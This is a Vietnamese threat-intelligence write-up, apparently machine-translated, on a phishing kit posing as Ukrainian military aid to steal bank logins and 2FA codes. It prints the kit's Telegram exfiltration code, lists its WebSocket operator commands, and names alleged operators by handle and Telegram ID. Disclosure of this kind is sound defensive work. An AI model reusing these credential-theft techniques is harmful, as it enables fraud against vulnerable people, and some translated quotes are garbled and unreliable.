Mạng lưới lừa đảo nhằm chiếm đoạt viện trợ quân sự bị phanh phui: 5 ngân hàng bị nhắm mục tiêu, các đối tượng thực hiện đã được xác định

Những gì PhishDestroy đã phát hiện

Vào ngày 20 tháng 3 năm 2026, Pipeline phát hiện mối đe dọa tự động của PhishDestroy đã phát hiện dopomogvoina[.]sbs — một tên miền vừa được đăng ký, đang lưu trữ một trang web lừa đảo mạo danh "Tấm khiên của Người bảo vệ" (Shield of the Defender), một tổ chức viện trợ quân sự giả mạo của Ukraine. Trang web này nhắm vào các cựu chiến binh Ukraine, những người bị thương trong chiến đấu và gia đình các chiến sĩ đã hy sinh, hứa hẹn sẽ cung cấp hỗ trợ tài chính từ chính phủ trong khi thực chất là đánh cắp thông tin đăng nhập ngân hàng của năm ngân hàng lớn nhất Ukraine.

Dưới đây là phân tích chi tiết toàn diện về tất cả những gì mà quá trình phân tích tự động của chúng tôi đã phát hiện ra: các thủ đoạn thao túng tâm lý, cơ sở hạ tầng kỹ thuật, hệ thống điều khiển thời gian thực của người vận hành, cũng như danh tính của những người đứng sau hệ thống này.

Phần 1: Mồi nhử — Quỹ viện trợ quân sự giả mạo

Tên miền dopomogvoina[.]sbs đã được đăng ký vào ngày 20 tháng 3 năm 2026 thông qua Công ty TNHH Tập đoàn Quốc tế NiceNIC, một cơ quan đăng ký có lịch sử đã được ghi nhận rõ ràng về việc phản ứng chậm chạp hoặc hoàn toàn không phản ứng trước các trường hợp lạm dụng. Cơ quan này .sbs TLD (Side-By-Side) là một tên miền cấp cao chung (gTLD) có chi phí thấp, thường bị lợi dụng để xây dựng cơ sở hạ tầng lừa đảo dùng một lần.

Trang web này tự giới thiệu là một cổng thông tin hỗ trợ chuyên nghiệp có liên kết với chính phủ. Lá cờ Ukraine chiếm trọn phần đầu trang, các hình ảnh quân sự góp phần tạo nên sự chân thực, và nội dung trang được soạn thảo cẩn thận bằng tiếng Ukraine với cách diễn đạt mang tính hành chính, giống hệt các chương trình chính thức của chính phủ.

Ảnh chụp màn hình 5 — Trang đích của trang web lừa đảo mạo danh "Щит Захисника" (Lá chắn của Người bảo vệ).

Để tạo dựng uy tín, các nhà điều hành đã bịa ra một bộ đếm thống kê và hiển thị nó ở vị trí nổi bật trên trang đích:

• 2.847 đơn đăng ký — điều này ngụ ý rằng hàng nghìn người đã nhận được viện trợ
• Đã phân phối ₴47,2 triệu — một con số lớn nhưng vẫn hợp lý tại UAH
• 19 chương trình — cho thấy đây là một chiến dịch toàn diện, bao gồm nhiều chương trình

Những con số này hoàn toàn là số bịa đặt, được mã hóa cứng trực tiếp vào mã nguồn trang web mà không có bất kỳ kết nối nào với hệ thống phía sau. Chúng chỉ phục vụ một mục đích duy nhất: tạo ra bằng chứng xã hội để xóa tan sự do dự của nạn nhân.

Phần 2: Cái bẫy — 5 ngân hàng, một mục tiêu

Sau khi nhấp vào “Подати заявку” (Gửi đơn đăng ký), nạn nhân sẽ được chuyển đến màn hình chọn ngân hàng. Năm ngân hàng bán lẻ lớn nhất Ukraine xuất hiện dưới dạng các tùy chọn, mỗi ngân hàng đều có thương hiệu và logo chính thức. Đây chính là lúc thủ đoạn lừa đảo chuyển từ việc thao túng cảm xúc sang hành vi trộm cắp kỹ thuật.

Ảnh chụp màn hình 6 — Màn hình chọn ngân hàng. Mỗi tùy chọn sẽ dẫn đến một chuỗi hành động đánh cắp thông tin đăng nhập được tùy chỉnh.

Việc phân tích gói JavaScript của trang web cho thấy mỗi ngân hàng có một chuỗi thu thập thông tin đăng nhập độc đáo gồm nhiều bước, được thiết kế phù hợp với quy trình xác thực thực tế của ngân hàng đó:

Quy trình tấn công đối với mọi ngân hàng đều tuân theo cùng một mô hình:

Ảnh chụp màn hình 7 — Trang đăng nhập PrivatBank bị sao chép.

Ảnh chụp màn hình 9 — Trang đăng nhập PUMB được sao chép.

Ảnh chụp màn hình 10 — Toàn bộ quy trình tấn công: từ trang web giả mạo về viện trợ quân sự, qua việc chọn ngân hàng, cho đến việc đánh cắp thông tin đăng nhập và chiếm quyền kiểm soát tài khoản.

Hệ thống công nghệ: Ứng dụng đơn trang (SPA) React giao diện người dùng được cung cấp qua CDN Cloudflare, với một Express.js phần backend xử lý việc đánh cắp thông tin đăng nhập. Kiến trúc React cho phép tạo ra các biểu mẫu nhiều bước liền mạch, trông không khác gì các giao diện ngân hàng chính thức.

Phần 3: Điều khiển thời gian thực của người vận hành

Đây không phải là một công cụ thu thập thông tin đăng nhập đơn thuần với cơ sở dữ liệu tĩnh. Bộ công cụ lừa đảo này bao gồm một Bảng điều khiển WebSocket trực tiếp cho phép người vận hành can thiệp vào từng phiên làm việc của nạn nhân theo thời gian thực.

Điểm cuối WebSocket tại wss://dopomogvoina[.]sbs/ws hỗ trợ các loại tin nhắn sau:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Chức năng điều khiển thời gian thực này cho phép người vận hành:

• Buộc chuyển sang trạng thái chờ — hiển thị thông báo “Đang xử lý yêu cầu của bạn...” trong khi chúng đăng nhập vào tài khoản ngân hàng thực sự của nạn nhân
• Chuyển hướng đến một bước cụ thể — Yêu cầu lại mã SMS nếu mã đầu tiên đã hết hạn
• Hiển thị các thông báo lỗi giả — “Mã không hợp lệ, vui lòng nhập lại” để thu thập nhiều mã xác thực hai yếu tố (2FA)
• Đặt câu hỏi tùy chỉnh — yêu cầu cung cấp ngày sinh, số thẻ hoặc bất kỳ thông tin bổ sung nào trong quá trình sử dụng dịch vụ

Ảnh chụp màn hình 8 — Biểu mẫu nhập số điện thoại được sử dụng để thực hiện hành vi đánh cắp thông tin đăng nhập.

Ảnh chụp màn hình 11 — Bảng điều khiển bot thời gian thực của kẻ tấn công để kiểm soát các phiên làm việc của nạn nhân.

Toàn bộ dữ liệu bị đánh cắp trong mỗi phiên: phone, password, PIN, SMS code, card number, date of birth, và email.

Phần 4: Phía sau Cloudflare — Hai dự án, một máy chủ

Dịch vụ proxy của Cloudflare che giấu máy chủ gốc, nhưng Pipeline phân tích hạ tầng của PhishDestroy đã xác định được địa chỉ IP gốc thực sự: 45.131.214[.]148, được đăng tải tại RapidSeedbox / LeaseWeb tại Hà Lan.

Một chi tiết quan trọng: dopomogvoina[.]sbs được chuyển tiếp qua Cloudflare, che giấu địa chỉ IP nguồn của nó. Tuy nhiên, hệ thống của chúng tôi cũng theo dõi hlpforvpeople[.]sbs — một tên miền có liên quan được đăng ký qua cùng một nhà đăng ký NiceNIC với các mẫu trùng khớp. Tên miền đó là KHÔNG nằm phía sau Cloudflare, để lộ trực tiếp địa chỉ IP nguồn của nó: 45.131.214[.]148.

Kết nối trực tiếp đến địa chỉ IP này — mà không cần qua Host tiêu đề — đã hé lộ một điều bất ngờ: một một trang web lừa đảo hoàn toàn khác. Thay vì viện trợ quân sự cho Ukraine, máy chủ ảo mặc định đã phục vụ "Thẻ bảo hiểm y tế", một chiến dịch lừa đảo qua email nhằm vào bảo hiểm y tế ở Indonesia. Cùng một máy chủ, nhưng nạn nhân hoàn toàn khác nhau, và quốc gia cũng hoàn toàn khác.

Ảnh chụp màn hình 12 — Hai chiến dịch lừa đảo song song sử dụng chung một máy chủ nguồn: viện trợ quân sự Ukraine (dopomogvoina) và bảo hiểm y tế Indonesia (HealthCare ID).

Mẫu lừa đảo của Indonesia là một bộ công cụ đã biết được theo dõi trong cơ sở dữ liệu tình báo mối đe dọa của PhishDestroy. Chúng tôi đã ghi nhận các biến thể của chính mẫu này được triển khai trên khắp Đông Nam Á — nhắm vào các tổ chức tài chính của Indonesia, Thái Lan và Việt Nam. Những kẻ điều hành chỉ cần thay thế các mẫu dành riêng cho từng quốc gia trong khi vẫn tái sử dụng cùng một hạ tầng nền tảng.

Phần 5: Tệp config.json đã phơi bày tất cả

Dưới đây là cách mà chỉ một tệp bị cấu hình sai đã khiến toàn bộ hoạt động bị đổ vỡ — từng bước một.

Sau khi xác định được dự án thứ hai của máy chủ nguồn, PhishDestroy’s Trình phân tích JS — công cụ phân tích JavaScript tự động của chúng tôi — đã được hướng đến gói mã của trang web lừa đảo Indonesia tại https://45.131.214[.]148/assets/index-ZMQxHb_h.js. Công cụ phân tích đã trích xuất tất cả các điểm cuối API, các URL bên ngoài và các đường dẫn cấu hình từ tệp JavaScript có dung lượng 335KB. Trong số các phát hiện có:

• Năm điểm cuối API tại rezervtemka[.]cc — Bảng điều khiển C2 để xác minh thông tin xác thực
• Kết nối WebSocket đến wss://rezervtemka[.]cc
• Tích hợp Facebook Pixel để theo dõi nạn nhân
• Một tham chiếu đến /config.json — được tải trong quá trình chạy để cấu hình bot Telegram

Dựa trên manh mối này, chúng tôi đã truy xuất /config.json từ địa chỉ IP nguồn. Tệp này có thể truy cập mà không cần xác thực — nằm trong thư mục gốc của trang web, ai cũng có thể đọc được:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Cái /config.json Tệp này có thể truy cập trực tiếp từ địa chỉ IP nguồn — không có xác thực, không có kiểm soát truy cập, chỉ là một tệp JSON thuần túy nằm trong thư mục gốc của trang web:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Token của bot Telegram vừa là tên người dùng vừa là mật khẩu. Bất kỳ ai sở hữu token này đều có thể thực hiện các lệnh gọi API dưới danh nghĩa bot đó. Các quản trị viên đã để token của họ trong một tệp tin có thể truy cập công khai. Sau sáu lần gọi API, chúng tôi đã có đầy đủ mọi thứ:

Ảnh chụp màn hình 13 — Chuỗi OSINT hoàn chỉnh: từ tệp config.json bị rò rỉ đến việc xác định đầy đủ danh tính người vận hành chỉ qua 6 lần gọi API.

Chỉ từ một tệp bị cấu hình sai đến việc xác định đầy đủ danh tính của người vận hành chỉ trong sáu yêu cầu HTTP. Không có lỗ hổng khai thác, không có truy cập trái phép — chỉ là các lệnh gọi API tiêu chuẩn của Telegram Bot sử dụng mã thông báo mà chính những người vận hành đã để lộ.

Phần 6: Các toán tử

Ảnh chụp màn hình 14 — Nhóm quản trị viên Telegram “Idr card”, bị phơi bày thông qua mã thông báo bot bị rò rỉ.

Chủ sở hữu / Người sáng lập

MONETTI ESCOBAR

@monettiescobar

ID Telegram: 8135223234

Telegram Premium, Hồ sơ doanh nghiệp

Múi giờ: UTC+3 (khu vực CIS)

10 tin nhắn công khai — tuân thủ nghiêm ngặt quy tắc bảo mật hoạt động (OPSEC)

TraFFeeQ ChatMedusa Google AdsKênh Deepfakes

Nhân viên điều hành / Điều phối giao thông

Bonya

@BoaCC159

ID Telegram: 6242202706

Còn gọi là: PapaZakonVor, Boa, bubullikk

261 tin nhắn trong 12 nhóm

DC2 — Amsterdam, Hà Lan

CryptoGrabThị trường STYXRaven CCEMPIRE CHATGiải pháp Phoenix

Nhà phát triển / Lập trình viên

Devoys

@devosus

ID Telegram: 8213612730

Nhà phát triển bộ công cụ lừa đảo — những người vận hành gọi anh ta là “coder”

Khi phát hiện sự cố xâm nhập, được yêu cầu “xem xét các biện pháp phòng thủ”

Thiết kế nhằm giảm thiểu tác động đến môi trường

Tay cầm @devosus ≈ "dev ops us" — tên chức danh làm tên người dùng

Nhà phát triển bộ công cụCơ sở hạ tầngBảo mật

MONETTI ESCOBAR — Ông chủ

MONETTI duy trì các biện pháp bảo mật hoạt động nghiêm ngặt — chỉ 10 tin nhắn công khai trên 2 nhóm. Nhưng chính các nhóm này đã nói lên điều đó: TraFFeeQ Chat (lợi dụng chênh lệch lưu lượng truy cập để thực hiện hành vi gian lận), Medusa Google Ads (quảng cáo Google Ads theo phương pháp black-hat), và một Kênh Deepfakes. Trên hồ sơ kinh doanh Telegram của anh ấy có ghi “Есть предложение” ("Có một đề xuất") — quảng cáo công khai các dịch vụ. Múi giờ UTC+3 (tương ứng với Moscow/Minsk/Kyiv) và giờ làm việc 24/7 cho thấy đây là một hoạt động có trụ sở tại Cộng đồng Các Quốc gia Độc lập (CIS) và hoạt động liên tục suốt ngày đêm.

Bonya — Kẻ bất cẩn

Khác với chính sách bảo mật hoạt động (OPSEC) cẩn trọng của MONETTI, Bonya (tên mã trước đây: PapaZakonVor — tạm dịch là “DaddyThiefByLaw”) đã để lại một lượng lớn dấu vết kỹ thuật số — 261 tin nhắn trên 12 nhóm ngầm. Lịch sử trò chuyện của anh ta đọc lên như một bản lý lịch tội phạm:

Các tổ chức mà anh ấy tham gia đã vẽ nên một bức tranh toàn cảnh: CryptoGrab (những kẻ đánh cắp tiền từ ví tiền điện tử), Thị trường STYX (thị trường ngầm buôn bán dữ liệu bị đánh cắp), Trình kiểm tra Raven CC (các công cụ xác thực thẻ tín dụng), EMPIRE CHAT và Giải pháp Phoenix (điều phối các hành vi gian lận). Đây không phải là một kẻ phạm tội lần đầu — đây là một người đã ăn sâu vào hệ sinh thái tội phạm mạng.

Devoys — Nhà phát triển

Xương sống kỹ thuật của chiến dịch. Được thiết kế để giảm thiểu tối đa sự hiện diện công khai — khi nhóm bị xâm nhập, Bonya đã trực tiếp gọi anh ta: "@devosus, hãy nghĩ cách tự vệ đi trước khi bọn chúng xé nát mông tụi mình" — "@devosus, hãy nghĩ đến việc phòng thủ trước khi tụi mình bị đánh tơi tả." Phản ứng mỉa mai của anh ta trước vụ vi phạm — "khi vào Interpol" ("Khi nào nên thực hiện nội suy") — cho thấy đây không phải là lần đầu tiên họ suýt gặp nguy hiểm.

Phân tích hành vi: Giải mã 261 thông điệp

Pipeline OSINT của PhishDestroy đã thu thập và dịch tất cả 261 bài đăng công khai từ Bonya qua 12 nhóm Telegram ngầm (tháng 6 năm 2024 — tháng 3 năm 2026). Dịch tự động qua API DeepL và được chỉnh sửa thủ công dựa trên ngữ cảnh. Các tin nhắn này hé lộ một hồ sơ hoạt động đầy đủ — được phân loại theo loại hình hoạt động tội phạm như dưới đây.

Gian lận ngân hàng và lừa đảo qua email

Người vận chuyển tiền & Rút tiền mặt

Gian lận lưu lượng truy cập và lạm dụng quảng cáo

MONETTI ESCOBAR: Ông chủ thầm lặng

Hoàn toàn trái ngược với 261 tin nhắn của Bonya, MONETTI chỉ có 10 tin nhắn công khai — tất cả đều nằm trong một chuỗi bài đăng trên TraFFeeQ Chat (Kinh doanh chênh lệch lưu lượng truy cập ADS/SEO từ các nguồn đen), bênh vực một đồng nghiệp:

Các nhóm Telegram của MONETTI sẽ cho mọi người biết thêm chi tiết: Medusa Google Ads (gian lận PPC kiểu black-hat), một Kênh Deepfakes (phương tiện tổng hợp dùng để gian lận), và TRÒ CHUYỆN VỀ MARLBORO (riêng tư, không rõ). Gói đăng ký Telegram Premium, giờ làm việc 24/7 và "Есть предложение" ("Có một đề xuất") Tiểu sử kinh doanh của người này cho thấy hình ảnh của một người coi tội phạm mạng như một hoạt động kinh doanh toàn thời gian.

Ảnh chụp màn hình 2 — Hồ sơ Telegram của MONETTI.

Ảnh chụp màn hình 3 — Hồ sơ của Bonya. Lưu ý DC2 (Amsterdam).

Phần 7: Phòng an toàn

Sau khi PhishDestroy truy cập vào nhóm điều hành thông qua bot Telegram bị lộ, cuộc trao đổi sau đây đã diễn ra. Bản ghi cuộc trò chuyện dưới đây đã được dịch sang tiếng Anh, trong đó nội dung gốc bằng tiếng Nga được giữ nguyên và in nghiêng. Danh tính được sử dụng để truy cập đã bị che đi.

Nhóm đã bị xóa chỉ trong vài phút. Lời xác nhận cuối cùng của Bonya — "+" — cùng với câu xác nhận "yeah" của Devoys đã nói lên tất cả: Họ biết mình đã bị phát hiện, và cách duy nhất của họ là tiêu hủy chứng cứ. Nhưng đến lúc đó, dữ liệu đã được thu thập xong rồi.

Hãy lưu ý nhận xét tiết lộ của Bonya: "Chúng tôi cũng bị tấn công qua bot Ukraine" — xác nhận rằng cả hai dự án (của Ukraine và Indonesia) đều do cùng một đội ngũ vận hành phụ trách, và đây không phải là lần đầu tiên hệ thống cơ sở hạ tầng của họ bị xâm nhập.

Phần 8: Điều này cho thấy điều gì

Lịch trình điều tra

Các tên miền liên quan

Phân tích của chúng tôi đã xác định được một lĩnh vực thứ hai — hlpforvpeople[.]sbs — được đăng ký thông qua cùng một nhà đăng ký với các mẫu cơ sở hạ tầng trùng khớp. Cả hai tên miền này đều được ghi nhận trong cơ sở dữ liệu của chúng tôi:

• Báo cáo PhishDestroy: dopomogvoina[.]sbs
• Báo cáo PhishDestroy: hlpforvpeople[.]sbs

Những điểm chính cần lưu ý

• Tự động hóa là cách duy nhất để bắt kịp xu hướng. Các bộ công cụ lừa đảo (phishing kits) được triển khai và biến thành công cụ tấn công chỉ trong vài giờ. Việc kiểm tra thủ công không thể mở rộng quy mô để theo kịp.
• Người vận hành cũng có thể mắc sai lầm. Một tệp cấu hình bị lộ trong một dự án phụ đã vạch trần toàn bộ một chiến dịch lừa đảo qua email quy mô đa quốc gia. Rất khó để duy trì an ninh hoạt động (OPSEC) hoàn hảo trên mọi dự án.
• Kỹ thuật xã hội không ngừng phát triển cùng với nhịp độ của các tin tức. Chiến tranh, viện trợ nhân đạo và các chương trình của chính phủ ngày càng bị lợi dụng làm mồi nhử trong các vụ lừa đảo qua email, bởi vì những đối tượng này nhắm vào những người đang lâm vào hoàn cảnh khó khăn – những người ít có khả năng nghi ngờ tính hợp pháp của chúng.
• Việc tái sử dụng cơ sở hạ tầng đã trở thành tiêu chuẩn. Một máy chủ, hai dự án lừa đảo, hai quốc gia, cùng một nhóm điều hành. Việc lập bản đồ các kết nối hạ tầng cho thấy nhiều thông tin hơn hẳn so với việc chỉ phân tích riêng lẻ một tên miền.

Lưu ý: Cuộc điều tra này được thực hiện hoàn toàn thông qua hoạt động trinh sát thụ động và các API công khai. Không có bất kỳ hành vi truy cập trái phép nào vào bất kỳ hệ thống nào. Các lệnh gọi API của Telegram Bot đã sử dụng một mã thông báo (token) được các nhà điều hành công khai trên một điểm cuối không yêu cầu xác thực. Tất cả các tên miền trong bài viết này đã được làm mờ theo quy ước tiêu chuẩn về an ninh thông tin (InfoSec).